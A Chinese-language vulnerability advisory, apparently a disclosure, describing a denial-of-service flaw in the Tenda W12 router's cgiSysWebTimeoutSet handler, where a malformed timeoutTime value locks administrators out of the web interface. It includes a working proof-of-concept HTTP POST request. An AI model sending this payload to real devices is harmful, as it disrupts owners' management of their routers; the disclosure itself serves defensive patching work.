# Tenda W12 cgiSysWebTimeoutSet 函数中存在拒绝服务漏洞

## 基础信息

- 厂商：Tenda

- 产品：W12

- 固件版本：V3.0.0.7(4763)

- 固件更新时间：2026-03-04

## 漏洞概述

在Tenda W12 V3.0.0.7(4763)的/bin/httpd二进制的cgiSysWebTimeoutSet函数中存在可导致拒绝服务攻击漏洞，攻击者可远程发起攻击，通过精心构造的报文导致web管理页面无法使用。

## 详细分析

### `cgiSysWebTimeoutSet`污染web_over_time变量

用户可控的 `timeoutTime` 被atoi处理后写入web_over_time变量，当写入数据非法时，该变量将被赋值为0或负数。

![image-20260430205010095](assets/image-20260430205010095.png)

该变量会在`authSecurityHandler`函数中被引用，当每次管理员登录时进行时间验证。

若该值为0，可使的每次登录都将触发超时机制，使得用户不断被跳转至登录页面，无法进入管理后台。

![image-20260430205210573](assets/image-20260430205210573.png)



poc报文

```
POST /goform/modules HTTP/1.1
Host: 192.168.0.1
Content-Type: application/json
Connection: close

{
  "sysWebTimeoutSet": {
    "timeoutTime": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  }
}
```

## 漏洞危害

- 可导致拒绝服务攻击，服务无法正常使用

